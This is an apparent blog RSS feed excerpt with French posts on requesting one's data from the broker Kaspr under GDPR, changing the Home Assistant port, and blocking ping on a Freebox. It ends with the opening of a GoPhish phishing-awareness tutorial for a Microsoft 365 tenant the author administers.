<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6939" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5.png" alt="" width="1418" height="835" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5.png 1418w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5-600x353.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5-300x177.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5-1024x603.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr5-768x452.png 768w" sizes="auto, (max-width: 1418px) 100vw, 1418px" /></a></p>
<p>Mais je ne vais pas demander à suppression à ce stade, j&rsquo;aimerais essayer de comprendre d&rsquo;où viennent mes données et à qui elles ont été données. (conformément au RGPD)</p>
<h3>Puis-je savoir où sont stockées les données me concernant ?</h3>
<p>Je fouille leur site, et je trouve :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr6.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6940" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr6.png" alt="" width="752" height="334" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr6.png 752w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr6-600x266.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr6-300x133.png 300w" sizes="auto, (max-width: 752px) 100vw, 752px" /></a></p>
<p>Je trouve que c&rsquo;est plutôt pas mal, après, à partir du moment où ils ont mes données, elles vont transiter entre la France et les USA, probablement qu&rsquo;elles sont même répliquées, je n&rsquo;en sais trop rien.</p>
<h3>Puis-je savoir quelles données le site Kaspr a en sa possession ?</h3>
<p>En ligne, impossible de savoir, j&rsquo;ai passé toutes les pages en revue. La <a href="https://www.kaspr.io/fr/politique-confidentialite" target="_blank" rel="noopener">liste de mes droits</a> est bien listée mais pour en savoir plus, je dois les contacter, ce que je vais faire.</p>
<h3>Je contacte Kaspr</h3>
<p>Je suis la procédure décrite, je les contacte à l&rsquo;adresse privacy@kaspr.io et leur demande de me transmettre toutes les informations qu&rsquo;ils détiennent à mon sujet, ainsi que l&rsquo;utilisation qu&rsquo;ils ont faite de ces données.</p>
<h3>Réponse de Kaspr</h3>
<p>A partir de là, tout va se faire en anglais, pas de support francophone.</p>
<p>Kaspr me répond 15 jours calendaire après ma demande et me transmets deux mails :</p>
<ul>
<li>Un mail avec un fichier excel contenant mes données, protégé par un mot de passe</li>
<li>Un second mail avec le mot de passe.</li>
</ul>
<p>Je trouve que c&rsquo;est assez gadget mais pourquoi pas.</p>
<p>Je m&#8217;empresse d&rsquo;ouvrir le fichier Excel (avec le fameux mot de passe) et je trouve&#8230; mes données LinkedIn.</p>
<p>L&rsquo;histoire ne dit pas d&rsquo;où viennent les données, c&rsquo;est le fichier de synthèse des informations qu&rsquo;ils ont sur moi :</p>
<ul>
<li>First Name</li>
<li>Last Name</li>
<li>Linkedin_Url</li>
<li>Data shared with</li>
<li>Headline</li>
<li>Company</li>
<li>Location</li>
<li>Email-1</li>
<li>Phone-1</li>
<li>Job_Title-1</li>
<li>Job_CompanyName-1</li>
<li>Job_Location-1</li>
<li>Job_Title-2</li>
<li>Job_CompanyName-2</li>
<li>Job_Location-2</li>
<li>Job_Title-3</li>
<li>Job_CompanyName-3</li>
<li>Job_Location-3</li>
<li>Job_Title-4</li>
<li>Job_CompanyName-4</li>
<li>Job_Location-4</li>
<li>Job_Title-&#8230;</li>
<li>Job_CompanyName-&#8230;</li>
<li>Job_Location-&#8230;</li>
</ul>
<p>Chacun des emplois est soigneusement repris sur 3 enregistrements (colonnes)</p>
<p>Ce qui est intéressant et auquel je n&rsquo;avais pas trop mis d&rsquo;espoir, c&rsquo;est d&rsquo;obtenir la colonne</p>
<ul>
<li>Data shared with</li>
</ul>
<p>En effet, dans cette colonne, j&rsquo;ai la liste des mails à qui mes coordonnées ont été « vendues ».</p>
<p>Je suis bon pour écrire à tous les mails pour faire valoir mon droit à suppression et à opposition de transmission de mes données. La liste se termine par « Cognism.com », ce n&rsquo;est pas une adresse mail, c&rsquo;est un site.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognisme.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6946" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognisme.jpg" alt="" width="400" height="75" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognisme.jpg 517w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognisme-300x56.jpg 300w" sizes="auto, (max-width: 400px) 100vw, 400px" /></a></p>
<p>Et voilà, Cognism est le petit frère de Kaspr, je vais devoir les contacter également.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognism2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6942" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognism2.png" alt="" width="612" height="124" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognism2.png 612w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognism2-600x122.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cognism2-300x61.png 300w" sizes="auto, (max-width: 612px) 100vw, 612px" /></a></p>
<p>J&rsquo;ai contacté Cognism, ils sont très réactifs, ils m&rsquo;ont confirmé qu&rsquo;ils détenaient les données via Kasper et me confirment la suppression de celles-ci.</p>
<p>Revenons à la réponse de Kasper à ma demande de provenance des données :</p>
<p>Kaspr me répond : « As you can see from the attached, we collect limited business data such as full name, company name and job title from publicly available online sources. You can find more information about Kaspr at the following link: https://kaspr.io/ ». Cela est inexact puisque dans le fichier reçu il y a mon mail et mon numéro de portable professionnel.</p>
<p>Je ne saurais donc pas où mes informations ont été récupérées.</p>
<h3>Je demande la suppression de mes informations personnelles</h3>
<p>Dans leur message, ils me proposent de demander moi même la suppression via <a href="https://app.kaspr.io/optout" target="_blank" rel="noopener">leur formulaire</a> soit par mail, tête de pioche, je leur demande d&rsquo;effectuer la suppression et de m&rsquo;en tenir informé.</p>
<p>J+12: J&rsquo;ai reçu une réponse « We can confirm that your details will be removed from our database within the next 3-7 business days. »</p>
<h2>En attendant, je vais sur mon LinkedIn tout vérifier</h2>
<h3>Je dédie un mail à LinkedIn et je change de mail</h3>
<p>Je me fais un petit linkedin@monnomdedomaine.xx et je vais changer le mail. Ce nouveau mail est redirigé vers mon mail habituel, si ce mail réapparait un jour dans une base, je saurai que c&rsquo;est LinkedIn le fautif. A ce stade, je n&rsquo;en sais rien, ce peut être un recoupement de plusieurs bases de données.</p>
<h3>Je supprime mon numéro de téléphone</h3>
<p>Après une multitude de messages m&rsquo;expliquant que l&rsquo;on me demande mon numéro par sécurité, que c&rsquo;est une bonne chose d&rsquo;en avoir un et que je ne devrais pas le supprimer, après avoir retapé mon mot de passe, récupéré un code sur le mail, j&rsquo;arrive enfin à supprimer mon numéro de téléphone !!</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6949" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1.png" alt="" width="735" height="434" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1.png 735w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1-600x354.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1-300x177.png 300w" sizes="auto, (max-width: 735px) 100vw, 735px" /></a></p>
<h3>J&rsquo;ajoute une identification en deux étapes</h3>
<p>Cela ne coute rien, j&rsquo;en profite, c&rsquo;est un peu hors sujet, mais autant l&rsquo;avoir pour sécuriser mon compte.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6950" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link2.png" alt="" width="738" height="599" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link2.png 738w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link2-600x487.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link2-300x243.png 300w" sizes="auto, (max-width: 738px) 100vw, 738px" /></a></p>
<h3>Qui peut voir mon adresse mail ?</h3>
<p>Dans visibilité : </p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6951" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link3.png" alt="" width="748" height="63" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link3.png 748w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link3-600x51.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link3-300x25.png 300w" sizes="auto, (max-width: 748px) 100vw, 748px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6952" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1.jpg" alt="" width="752" height="541" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1.jpg 752w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1-600x432.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link1-300x216.jpg 300w" sizes="auto, (max-width: 752px) 100vw, 752px" /></a></p>
<h3>Je parcours tous les paramètres de configuration</h3>
<p>Je n&rsquo;ai rien relevé de particulier, j&rsquo;ai parfois activé, parfois désactivé les options de LinkedIn, chacun configure comme il le souhaite en fait.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link4.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6953" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link4.png" alt="" width="259" height="606" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link4.png 259w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/link4-128x300.png 128w" sizes="auto, (max-width: 259px) 100vw, 259px" /></a></p>
<h3>Ma conclusion</h3>
<p>Comme toujours, chacun est responsable de ses propres données et de leur utilisation, et doit en assumer les conséquences.</p>
<p>Concernant LinkedIn, en dehors des incidents passés de fuites de données, rien n&rsquo;indique qu&rsquo;ils vendent nos informations. Le rachat de LinkedIn par Microsoft inspire l&rsquo;espoir d&rsquo;une meilleure gestion et sécurité, supervisée par leurs meilleurs experts en sécurité.</p>
<p>Il est toujours judicieux de revoir régulièrement les paramètres de confidentialité sur des plateformes comme LinkedIn, où nos données sont stockées. Ces options ne sont pas toujours évidentes, mais elles permettent de limiter la diffusion de nos informations personnelles.</p>
<p>Quant à des entreprises comme Kasper, Waalaxy ou Cognism, leur activité est légale et elles ont le droit de fonctionner. Il est raisonnable de supposer qu&rsquo;elles sont vigilantes lors de l&rsquo;acquisition de bases de données, et nous espérons qu&rsquo;elles ne collectent que des données légitimes et respectent les droits des individus concernés.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我换了家庭助理的港口</title>
		<link href="">https://www.sigalou-domotique.fr/zh/je-change-le-port-de-home-assistant</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>Thu, 25 Apr 2024 08:57:25 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Domotique]]></category>
		<category><![CDATA[Home Assistant]]></category>
		<category><![CDATA[Retex]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=6913</guid>

					<description><![CDATA[Mon objectif Pour éviter d&#8217;utiliser un port « standard », donc par sécurité, je voudrais changer le port de Home Assistant. Par défaut, c&#8217;est le port 8123 qui est utilisé. Pour ce RetEx, je vais choisir 8888 comme exemple mais j&#8217;ai évidemment utilisé un autre chez moi. Je modifie le fichier configuration.yaml De manière très classique, je [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2>Mon objectif</h2>
<p>Pour éviter d&rsquo;utiliser un port « standard », donc par sécurité, je voudrais changer le port de Home Assistant.</p>
<p>Par défaut, c&rsquo;est le port 8123 qui est utilisé. Pour ce RetEx, je vais choisir 8888 comme exemple mais j&rsquo;ai évidemment utilisé un autre chez moi.</p>
<p><span id="more-6913"></span></p>
<h2>Je modifie le fichier configuration.yaml</h2>
<p>De manière très classique, je vais modifier le fichier configuration.yaml, j&rsquo;ajoute ces deux lignes :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">http:
  server_port: 8888</pre>
<p> </p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6914" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888.png" alt="" width="501" height="133" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888.png 501w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888-300x80.png 300w" sizes="auto, (max-width: 501px) 100vw, 501px" /></a></p>
<h2>Je relance Home Assistant</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6917" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888-1.png" alt="" width="755" height="476" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888-1.png 755w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888-1-600x378.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/port8888-1-300x189.png 300w" sizes="auto, (max-width: 755px) 100vw, 755px" /></a></p>
<h2>Je me connecte avec la nouvelle adresse</h2>
<p>Pour me connecter à Home Assistant, je n&rsquo;utilise plus http://homeassistant.local:8321 mais  :</p>
<ul>
<li>http://homeassistant.local:8888</li>
</ul>
<h2>Je teste l&rsquo;accès externe avec Nabu Casa</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/logo-text.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6920" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/logo-text.png" alt="" width="253" height="214" /></a></p>
<p>Aucun souci, Nabu Casa fonctionne parfaitement, le lien externe vers mon Ha est ok </p>
<h2>Bibliographie</h2>
<ul>
<li><a href="https://www.wundertech.net/how-to-access-home-assistant-remotely/" target="_blank" rel="noopener">https://www.wundertech.net/how-to-access-home-assistant-remotely/</a></li>
<li><a href="https://rapidlydigital.com/change-default-port-number-in-home-assistant/" target="_blank" rel="noopener">https://rapidlydigital.com/change-default-port-number-in-home-assistant/</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我阻止他的IP地址的ping(ICMP)</title>
		<link href="">https://www.sigalou-domotique.fr/zh/je-bloque-le-ping-de-son-adresse-ip</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>2024年4月24日 Wed, 24 Apr 2024 19:07:47 +0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Retex]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=6887</guid>

					<description><![CDATA[Pour identifier les futures victimes sur le web, les pirates tentent assez naturellement de vérifier si l&#8217;IP existe et si un équipement est derrière. Pour vérifier cela, le plus simple, c&#8217;est un ping de l&#8217;adresse IP. J&#8217;ai une IP fixe Free et je suis une victime potentielle si je me fais repérer. Cela en fonction [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Pour identifier les futures victimes sur le web, les pirates tentent assez naturellement de vérifier si l&rsquo;IP existe et si un équipement est derrière.</p>
<p>Pour vérifier cela, le plus simple, c&rsquo;est un ping de l&rsquo;adresse IP.</p>
<p>J&rsquo;ai une IP fixe Free et je suis une victime potentielle si je me fais repérer. Cela en fonction également des redirections de ports que je vais définir sur mon routeur (si je veux consulter mes caméras ip depuis l&rsquo;extérieur, accéder à Home Assistant, Jeedom, si j&rsquo;héberge mon site internet, &#8230;)<span id="more-6887"></span></p>
<h2>Je vérifie si mon IP ping depuis l&rsquo;extérieur</h2>
<p>Pour cela, très simple, il suffit d&rsquo;un site qui fasse un ping, j&rsquo;ai l&rsquo;habitude d&rsquo;utiliser celui-ci, archi-simple :</p>
<ul>
<li><a href="https://ping.eu/ping/" target="_blank" rel="noopener">https://ping.eu/ping/</a></li>
</ul>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6890" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping-1.png" alt="" width="910" height="416" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping-1.png 910w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping-1-600x274.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping-1-300x137.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping-1-768x351.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></a></p>
<p>Mon IP est inscrite en bleu en haut au milieu, je la recopie dans la case IP adresse, je recopie le code et je clique sur Go.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6892" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ping2.png" alt="" width="230" height="86" /></a></p>
<p>C&rsquo;est parfait, 100% des paquets perdus, c&rsquo;est que le ping n&rsquo;a pas fonctionné, <strong>c&rsquo;était mon objectif.</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6900" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo.jpg" alt="" width="264" height="264" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo.jpg 1920w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-300x300.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-100x100.jpg 100w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-600x600.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-1024x1024.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-150x150.jpg 150w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-768x768.jpg 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bravo-1536x1536.jpg 1536w" sizes="auto, (max-width: 264px) 100vw, 264px" /></a></p>
<h2>Qu&rsquo;aurais-je dû changer si le ping avait fonctionné ?</h2>
<p>C&rsquo;est la question qui m&rsquo;a été posée à la suite de ce retour d&rsquo;expérience.</p>
<p>J&rsquo;ai une Freebox Révolution Fibre, j&rsquo;ai donc fait ce RetEx suite à des tests dessus, pour les autres boxs, cf. documentation ou support clients de celles-ci.</p>
<h3>Ma Freebox est elle en routeur ou en bridge ?</h3>
<ul>
<li>
<h4>La Freebox est en routeur</h4>
</li>
</ul>
<p>C&rsquo;est donc elle qui va répondre au ping.</p>
<p>Le site <a href="https://www.free-reseau.fr/ma-ligne/_informations.php" target="_blank" rel="noopener">Free-reseau</a> donne des conseils pour activer le ping sur une Freebox V4 ou V5 ou sur une Freebox Revolution. Il faut donc faire l&rsquo;inverse de ce qui est expliqué pour désactiver le ping.</p>
<p>Je ne sais pas s&rsquo;il reste encore des V4 ou V5, mais sur Révolution, il suffit de décocher la case :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cocheping.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6899" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cocheping.png" alt="" width="890" height="279" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cocheping.png 890w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cocheping-600x188.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cocheping-300x94.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cocheping-768x241.png 768w" sizes="auto, (max-width: 890px) 100vw, 890px" /></a></p>
<ul>
<li>
<h4>La Freebox est en bridge</h4>
</li>
</ul>
<p>C&rsquo;est ce que j&rsquo;ai chez moi, la Freebox fait ce qu&rsquo;elle fait de mieux : être un modem. J&rsquo;ai confié la gestion de mes équipements à un Routeur Synology. La Freebox fait le lien entre le réseau fibre et mon routeur. <span class="Body-C-C0">Le mode bridge va la transformer, comme son nom l’indique en </span><span class="Body-C-C2">pont</span><span class="Body-C-C0">. Elle fera le pont entre internet et mon syno qui alloue les adresses aux éléments de mon réseau.</span></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bridge-1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6902" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bridge-1.jpg" alt="" width="612" height="278" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bridge-1.jpg 612w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bridge-1-600x273.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/bridge-1-300x136.jpg 300w" sizes="auto, (max-width: 612px) 100vw, 612px" /></a></p>
<p>Dans ce cas, la réponse au ping sera traitée par le routeur, c&rsquo;est dans sa configuration qu&rsquo;il faut fouiller.</p>
<h2>Bibliographie</h2>
<ul>
<li><a href="https://www.free-reseau.fr/ma-ligne/_informations.php" target="_blank" rel="noopener">https://www.free-reseau.fr/ma-ligne/_informations.php</a></li>
<li><a href="http://hjj.free.fr/FBV6/page130.html" target="_blank" rel="noopener">http://hjj.free.fr/FBV6/page130.html</a></li>
<li><a href="https://www.grc.com/x/ne.dll?bh0bkyd2" target="_blank" rel="noopener">https://www.grc.com/x/ne.dll?bh0bkyd2</a></li>
<li><a href="https://assiste.com/Encyclopedie/Shields_Up.html" target="_blank" rel="noopener">https://assiste.com/Encyclopedie/Shields_Up.html</a></li>
<li><a href="https://apical.xyz/fiches/home_assistant/trouver_l_adresse_ip_de_home_assistant" target="_blank" rel="noopener">https://apical.xyz/fiches/home_assistant/trouver_l_adresse_ip_de_home_assistant</a></li>
</ul>
<p> </p>
<p> </p>
<p> </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>在使用GoPhish的Microsoft 365租户上启动教学网络钓鱼模拟</title>
		<link href="">https://www.sigalou-domotique.fr/zh/lancer-une-simulation-dhameconnage-a-visee-pedagogique-sur-un-tenant-microsoft-365-avec-gophish</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>SAT,06 Apr 2024 07:49:31 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Retex]]></category>
		<category><![CDATA[365]]></category>
		<category><![CDATA[GoPhish]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=6547</guid>

					<description><![CDATA[Mon objectif Afin de sensibilisé les utilisateurs du tenant Microsoft 365 que j&#8217;utilise, j&#8217;ai cherché comment créer une campagne de Phishing (hameçonnage) pour les « piéger » et déclencher une formation sur ce sujet. Les messages de prévention et les campagnes d&#8217;hygiène numérique ne suffisent pas, il faut un fait concret pour tenter de déclencher une prise [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2>Mon objectif</h2>
<p>Afin de sensibilisé les utilisateurs du tenant Microsoft 365 que j&rsquo;utilise, j&rsquo;ai cherché comment créer une campagne de Phishing (hameçonnage) pour les « piéger » et déclencher une formation sur ce sujet.</p>
<p>Les messages de prévention et les campagnes d&rsquo;hygiène numérique ne suffisent pas, il faut un fait concret pour tenter de déclencher une prise de conscience.<span id="more-6547"></span></p>
<h2>Disclaimer</h2>
<p>Au risque de me répéter, mon objectif n&rsquo;est pas de lancer de campagne de publipostage ni de phishing, c&rsquo;est bien à visée pédagogique.</p>
<p>A noter que les éléments expliqués ci-dessous ne fonctionneront pas si vous n&rsquo;êtes pas administrateur du Tenant à attaquer puisqu&rsquo;il faut autoriser l&rsquo;IP de GoPhish, sans cette autorisation, la campagne de phishing est bloqué par les systèmes de sécurité de Microsoft (Merci !!)</p>
<hr />
<h2>Outils utilisés</h2>
<ul>
<li>Evidemment, j&rsquo;utilise le Tenant Microsoft 365 à qui je vais demander d&rsquo;autoriser l&rsquo;IP d&rsquo;envoi de ma campagne ainsi que le fameux 5321.MailFrom (ou expéditeur d&rsquo;enveloppe).</li>
</ul>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ITFR-Blog-Microsoft-365-Cloud-01.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6551" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ITFR-Blog-Microsoft-365-Cloud-01.jpg" alt="" width="269" height="169" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ITFR-Blog-Microsoft-365-Cloud-01.jpg 800w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ITFR-Blog-Microsoft-365-Cloud-01-600x377.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ITFR-Blog-Microsoft-365-Cloud-01-300x189.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ITFR-Blog-Microsoft-365-Cloud-01-768x483.jpg 768w" sizes="auto, (max-width: 269px) 100vw, 269px" /></a></p>
<ul>
<li>GoPhish dans sa version 0.12.1 au jour d&rsquo;écriture de ce RetEx</li>
</ul>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6549" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault.jpg" alt="" width="319" height="157" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault.jpg 1134w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault-600x295.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault-300x147.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault-1024x503.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/maxresdefault-768x377.jpg 768w" sizes="auto, (max-width: 319px) 100vw, 319px" /></a></p>
<ul>
<li>La plateforme AWS d&rsquo;Amazon et plus spécifiquement les instances EC2</li>
</ul>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/90905203-ebe5-4958-b728-4dd9a64c6d03.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6550" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/90905203-ebe5-4958-b728-4dd9a64c6d03.png" alt="" width="400" height="173" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/90905203-ebe5-4958-b728-4dd9a64c6d03.png 740w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/90905203-ebe5-4958-b728-4dd9a64c6d03-600x259.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/90905203-ebe5-4958-b728-4dd9a64c6d03-300x130.png 300w" sizes="auto, (max-width: 400px) 100vw, 400px" /></a></p>
<h2>Je crée un compte Amazon AWS </h2>
<ul>
<li><a href="https://portal.aws.amazon.com/billing/signup#/start/email" target="_blank" rel="noopener">https://portal.aws.amazon.com/billing/signup#/start/email</a></li>
</ul>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6576" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws1.png" alt="" width="335" height="337" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws1.png 335w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws1-100x100.png 100w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws1-298x300.png 298w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws1-150x150.png 150w" sizes="auto, (max-width: 335px) 100vw, 335px" /></a></p>
<p>Passer les 5 étapes puis :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws2.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6577" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws2.png" alt="" width="323" height="403" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws2.png 653w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws2-600x749.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws2-240x300.png 240w" sizes="auto, (max-width: 323px) 100vw, 323px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws3.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6578" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws3.png" alt="" width="335" height="325" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws3.png 421w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws3-300x291.png 300w" sizes="auto, (max-width: 335px) 100vw, 335px" /></a></p>
<h2>Je crée une instance sur EC2</h2>
